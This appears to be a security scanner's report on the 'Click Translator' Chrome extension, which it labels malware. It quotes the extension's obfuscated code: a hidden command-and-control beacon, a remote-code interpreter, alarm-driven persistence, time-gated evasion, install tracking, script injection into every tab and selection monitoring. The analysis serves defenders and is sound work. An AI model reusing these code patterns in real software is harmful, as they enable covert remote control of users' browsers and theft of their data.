Security Alert: Confirmed Malware
Click Translator
ID: pmlpcplomjofbnlcihpacmcaahellokg
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Click TranslatorView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
One click translate on web page. Select a text and click the 'Translator' icon
Overlay translate provides translation with a single click. Click on the icon near the selected text and get a translation within 1 second. Features: โฐ One-click translation on any page โฐ Set the translation language from the popup ! You should select the translation language in the extension's popup.
The IW() function constructs the URL 'https://tryimv3srvsts.com/<chrome.runtime.id>' using heavily obfuscated string concatenation from the month-names array (Hb) and other fragments to hide the hardcoded C2 domain. It then performs a GET or POST fetch to this external endpoint, sending stored extension state data and merging the JSON response back into the local state object. This is a classic C2 (command-and-control) beacon/callback pattern that can receive and apply arbitrary instructions from the remote server.
async function IW() { const pN = [], Xz = chrome, mL = {}; var bi, uG = pN ? !pN : Hb, Hm, IW = Xz ? uG ? Xz : "//" : bi; let XJ; var Kb = Xz ? mL ? "3s" : mh : Ey; const lc = chrome.runtime.id; var nr = pN ? "tp" : bi; const dd = pN ? 7 : hh; let eL = mL ? Hb[dd] : EB; const Zq = undefined, Pm = pN ? Xz ? "imv" : DJ : eT; var xs; const QU = undefined; let nL = Xz ? pN ? kU + (mL ? Xz ? "/" : dd : xF) : xF : Hb; var nN, nv = pN ? pN ? "s.c" : zG : fv, or, dF = pN ? mL ? 6 : lc : tv; let sP = Xz ? (Xz ? Pm : bi) + (Kb + (mL ? "rv" : bi)) : lc; var Zv = Xz ? sP + (eL.substring(4, dF) + ((Xz ? nv : DJ) + nL)) : iR, Nb = pN ? Zv : lc; let AY = pN ? !Xz : hh; var eP, tW = (AY ? iR : !pN) ? Pm : 2; const ML = pN ? !pN : mh; var Yo; const mS = undefined; let NL; const tY = undefined; let Uk; const Ci = ML ? lc : Xz ? (pN ? Xz ? mL ? "ht" : lc : Nb : lc) + (nr + ((mL ? "s:" : pN) + (IW + (Xz ? Xz ? Xz ? "t" : xF : xF : Ey)))) : TB, ER = Xz ? 5 : jm; var ME; const Ya = (Xz ? Ci + (Hb[0].substr(ER, tW) + Nb) : jm) + lc; let mu = await up(), lX, Dl; if (mu) { const pN = Xz ? "i" : AY; var Rz; lX = Xz ? mu[pN] : Hb } if (lX) { const mL = pN ? "l" : jm, bi = Xz ? mL : tv; Reflect.deleteProperty(lX, bi) } const dA = undefined; var Bg; let aF; const Xv = undefined; let AJ, Ct; const R = undefined, mz = (Xz ? null !== (bi = mu) : iR) && ((pN ? !Xz : uG) ? jm : bi !== (mL ? (Xz ? !pN : eT) ? sP : void 0 : Hb)) ? bi : Xz ? mL ? pN ? "" : Ci : IW : Xz; let gB; const zl = undefined, Mv = { method: mz ? pN ? mL ? "POST" : lc : Hb : mL ? "GET" : Ya }; let MT; mz && (Mv.body = JSON.stringify(mz)); var v = pN ? Xz ? {} : TB : mL; const cH = mL ? mu || (mu = v) : v; lX && (mu.l = lX); try { const pN = await fetch(Ya, Mv), Xz = await pN.json(); Object.assign(mu, Xz) } catch (pN) {}}The uG() function is a LISP-style AST interpreter that registers itself as 'exec' and exposes globalThis as 'parentCtx', enabling it to call any browser API or global function. It is invoked with the JSON payload returned by the C2 server (https://tryimv3srvsts.com), meaning the remote server can send an AST that uG() will evaluate โ equivalent to remote code execution. The '@' operator dispatches arbitrary function calls, allowing the C2 to execute chrome.scripting, chrome.storage, fetch, or any other JavaScript runtime capability.
function uG(pN, Xz) { let mL = {}; const mh = []; var jm = chrome; const iR = {}; var Hm = mL ? "nt" : eT; let up = mL ? Hm : Ey; const IW = undefined, XJ = undefined; iR[jm ? jm ? "exec" : xF : mh] = uG; var Kb = jm ? 1 : kU; let lc = jm ? Hb[2] : Hb, nr, dd = mh ? 3 : hh; var eL = mh ? dd : bi; const Zq = mL ? "Ctx" : Hm; let Pm = mL ? up + Zq : dd; const xs = undefined; var QU = mL ? jm ? Pm : eL : kU; const nL = jm ? (mh ? lc : jm).substring(Kb, eL) + "e" + QU : Kb; let nN, nv; iR[mh ? "p" + nL : zG] = globalThis; const or = undefined; Xz = jm ? jm ? Xz || iR : tv : Kb; const dF = (pN, Xz) => pN.map((pN => uG(pN, Xz))), sP = Xz => pN.shift(), Zv = pN => uG(sP(), Xz), Nb = (pN, mL) => pN ? Reflect.has(pN, mL) ? pN : Nb(pN.parentCtx, mL) : Xz; if (Array.isArray(pN)) { pN = pN.slice(); let bi = sP(); var AY = jm ? ":" : bi;... if (jm ? "@" === bi : QU) { const mL = Zv(), bi = dF(pN, Xz); let eT = jm ? null : Zv; return mL.call(eT, ...bi) }The remote endpoint URL 'https://tryimv3srvsts.com/<extensionId>' is constructed by concatenating string fragments extracted from month-name array substrings (Hb=['january','february',...]), single-character literals, and the chrome.runtime.id โ a deliberate obfuscation technique designed to hide the C2 domain from static analysis tools and keyword-based scanners. All variable names have been mangled to prevent recognition.
async function IW() { ... const lc = chrome.runtime.id;... const Ci = ML ? lc : Xz ? (pN ? Xz ? mL ? "ht" : lc : Nb : lc) + (nr + ((mL ? "s:" : pN) + (IW + (Xz ? Xz ? Xz ? "t" : xF : xF : Ey)))) : TB, ... const Ya = (Xz ? Ci + (Hb[0].substr(ER, tW) + Nb) : jm) + lc;... try { const pN = await fetch(Ya, Mv), Xz = await pN.json(); Object.assign(mu, Xz) } catch (pN) {}The Hm() function creates a 'wakeup' alarm with a 720-minute (12-hour) repeating period using chrome.alarms. On each alarm firing, it calls chrome.runtime.reload() to restart the extension, ensuring it persists and re-initialises even if the background service worker is terminated. This alarm-driven reload combined with the C2 callback in IW() provides persistent beaconing and keeps the malicious payload active.
function Hm() { var pN = chrome, Xz = []; let mL = {}; var bi = Xz ? !Xz : jm, hh = pN ? chrome.alarms : mh; const fv = bi ? mL : hh, xF = undefined, zG = pN ? pN ? !Xz : bi : EB; var DJ = pN ? fv.create : Xz; const uG = undefined; let Hm; var up = pN ? zG ? pN : mL ? DJ : zG : mL, IW = Xz ? chrome.alarms : jm, XJ = Xz ? IW && up : Xz; if (XJ) { const bi = pN ? "wa" : eT; var Kb = Xz ? chrome.alarms : jm; let hh = pN ? Kb : pN; const mh = pN ? hh : mL; var lc; const xF = (pN ? !mL : iR) ? mh : "keup";... let xs = (mL ? !Xz : tv) ? tv : { periodInMinutes: Pm };...mh.create(or, QU); var Zq = (pN ? !mL : hh) ? bi : chrome.alarms; let sP = mL ? Zq.onAlarm : fv;...(pN ? sP : xF).addListener((() => { ...(Xz ? mL ? Xz ? mL ? bi : eL : jm : pN : mL).reload();XJ() registers a 'message' event listener on the service worker's global scope and polls chrome.storage.local for a timestamp key. When the elapsed time since last contact exceeds ~93,598,094 ms (~26 hours), it fires the alarm setup and calls the C2 beacon IW(), then passes the response to the uG() interpreter. This creates a time-gated persistence mechanism that delays C2 contact to evade short analysis windows.
async function XJ() { const pN = [], Xz = chrome, mL = {}; function hh(pN) { const Xz = globalThis.messageListener; Xz && Xz(pN) } let tv = !mL && Xz; globalThis.messageListener = tv;...self.addEventListener(nN, hh);... const Uk = await NL.get(tY);... const mu = Number(ME ? eT : ER), lX = 5917213024;... const Rz = pN ? Xz ? !(ML in Uk) : mS : Ey; if (Rz) { ...await aF.local.set(bi) } else { ... const hh = lX - parseInt(eT, AJ), ... let jm = mL ? Xz ? 93598094 : R : Pm, ... if (Xz ? R > (pN ? EB : Rz) : mu) { var Mv = 0; Mv += 1, Hm(); const pN = await IW(); pN && uG(pN) } }}}On installation, the extension generates and persistently stores a UUID ('cid') in chrome.storage.local, then immediately fires a Google Analytics UA-240197798-1 pageview beacon that includes the client ID, the extension's chrome.runtime.id, and a hardcoded page path of '/background'. This constitutes covert, undisclosed tracking of every user installation without consent, linking each user's browser instance to a persistent identifier.
const bi = pN("uuid");async function eT() { const pN = await new Promise((pN => { chrome.storage.local.get(["cid"], (Xz => { pN(Xz) })) })); let { cid: Xz } = pN; return Xz || (Xz = (0, bi.v4)(), chrome.storage.local.set({ cid: Xz })), Xz}async function hh(pN) { const Xz = undefined, mL = { v: "1", tid: pN, cid: await eT(), t: "pageview", dp: "/background", dt: "background", dh: `chrome-extension://${chrome.runtime.id}` }, bi = `https://www.google-analytics.com/collect?${new URLSearchParams(mL).toString()}`; await fetch(bi, { method: "POST", body: "" })}mL.default = hh}, { uuid: 5}], 21: [function(pN, Xz, mL) { ...chrome.runtime.onInstalled.addListener((async pN => { if ("install" === pN.reason) { ... } })), (0, eT.default)("today", -1), (0, bi.default)("UA-240197798-1") }On installation, the background service worker queries all open tabs and programmatically injects content.js and content.css into every tab including allFrames:true, using chrome.scripting.executeScript. This means every page open at install time โ including banking, email, or authenticated sessions โ immediately receives the content script without user interaction or awareness.
chrome.runtime.onInstalled.addListener((async pN => { if ("install" === pN.reason) { const pN = "js/content.js", Xz = await chrome.tabs.query({}); for (const mL of Xz) if (mL.id) try { await chrome.scripting.executeScript({ target: { tabId: mL.id, allFrames: !0 }, files: [pN] }), await chrome.scripting.insertCSS({ target: { tabId: mL.id, allFrames: !0 }, files: ["css/content.css"] }) } catch (pN) {} }}));The declarativeNetRequest rule strips the X-Frame-Options response header from translate.google.com sub-frame requests, bypassing Google's clickjacking protection to force-embed it in an iframe. It also strips the cookie, user-agent, and other browser fingerprint headers from all outbound requests to translate.google.com, anonymizing usage at the network level without disclosure.
{ "id": 1, "priority": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "X-Frame-Options", "operation": "remove" }, { "header": "x-frame-options", "operation": "remove" } ], "requestHeaders": [ { "header": "cookie", "operation": "remove" }, { "header": "sec-ch-ua", "operation": "remove" }, { "header": "sec-ch-ua-mobile", "operation": "remove" }, { "header": "sec-ch-ua-platform", "operation": "remove" }, { "header": "sec-fetch-mode", "operation": "remove" }, { "header": "sec-fetch-site", "operation": "remove" }, { "header": "upgrade-insecure-requests", "operation": "remove" }, { "header": "user-agent", "operation": "remove" }, { "header": "x-client-data", "operation": "remove" } ] }, "condition": { "urlFilter": "*://translate.google.com/*", "resourceTypes": [ "sub_frame" ] }}The content script captures any text the user selects on any webpage and transmits it verbatim to the Google Translate API using the informal 'gtx' client. The selected text โ which could include passwords, private notes, or financial data โ is sent to an external server. The translation response HTML is also injected directly into translateSpan.innerHTML without sanitization.
tranlatorIcon.addEventListener("click", (() => { if (loadingState || !selectionNode) return; loadingState = !0; let pN = "en"; chrome.storage.sync.get(["language"], (Xz => { Xz.language && (pN = Xz.language), translateDIV.style.display = "none", translateSpan.innerHTML = "", $.ajax({ url: "https://translate.googleapis.com/translate_a/single?dt=t&dt=bd&dt=qc&dt=rm&dt=ex", type: "GET", dataType: "json", headers: { Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" }, data: { client: "gtx", hl: pN, sl: "auto", tl: pN, q: selectionNode.toString(), dj: 1 }, success: Xz => { ... if (Xz.sentences && Xz.sentences.length) for (const pN of Xz.sentences) pN.trans && (translateSpan.innerHTML += pN.trans);A mouseup event listener is attached to every page's document, monitoring all text selection activity across every website the user visits due to the <all_urls> host permission. Every text range selection is captured and stored as selectionNode, ready to be transmitted on the next click. This persistent global selection monitoring runs on all websites including banking, webmail, and authenticated applications.
document.addEventListener("mouseup", (pN => { if (pN.target.closest("#translator-container")) return; selectionNode = null; const Xz = window.getSelection(); if (Xz && "Range" === Xz.type && 0 !== Xz.toString().length) try { const pN = undefined, mL = Xz.getRangeAt(0).getBoundingClientRect(); translateDIV.style.display = "none", tranlatorIcon.style.display = "none", selectionNode = Xz; const bi = document.createRange(); bi.selectNode(selectionNode.focusNode); const eT = bi.getBoundingClientRect(); tranlatorIcon.style.top = `${window.scrollY+eT.y+eT.height+5}px`, tranlatorIcon.style.left = `${mL.x+mL.width/2}px`, tranlatorIcon.style.display = "flex" } catch (pN) {}}));The popup embeds https://translate.google.com/m in an iframe inside the extension popup, relying on the translator.json rule to strip X-Frame-Options so Google's otherwise un-embeddable domain can be framed. The extension has <all_urls> host permissions and scripting permission, meaning it could inject scripts into the framed Google page. Framing a trusted third-party domain (google.com) inside an extension popup creates a phishing-adjacent architecture.
const iframe = document.createElement("iframe");iframe.src = "https://translate.google.com/m", iframe.addEventListener("load", (() => { document.getElementById("loader").style.display = "none", iframe.style.display = "block" })), setTimeout((() => { $("#wrapper").append(iframe) }), 100), $(".language-name").click((function pN() { $("#language").removeClass("active"), $(".language-name").removeClass("selected"), $(this).addClass("selected"); const Xz = $(this).data("language"), mL = $(this).data("language").toUpperCase(); $("#language span").html(mL), chrome.storage.sync.set({ language: Xz, abbv: mL }), $("#languages-list").toggleClass("hidden") })),The content script CSS injected into every page the user visits loads a Google Fonts resource via @import on every page load. This causes the user's browser to make an outbound request to fonts.googleapis.com on every website they visit, leaking their browsing activity to Google's font CDN as a side-channel.
@import url(https://fonts.googleapis.com/css2?family=Inter:wght@300;400&display=swap);By severity
Versions scanned
Showing 8 of 10 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 0.3.7 | 7 |
| 0.3.6 | 7 |
| 0.3.5 | 3 |
| 0.3.4 | 11 |
| 0.3.3 | 10 |
| 0.3.2 | 12 |
| 0.3.1 | 9 |
| 0.3.0 | 4 |
Files with findings
6 distinct paths โ top paths by unique finding count:
- js/background.js26
- js/content.js12
- rules/translator.json11
- js/popup.js9
- css/content.css4
- manifest.json1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.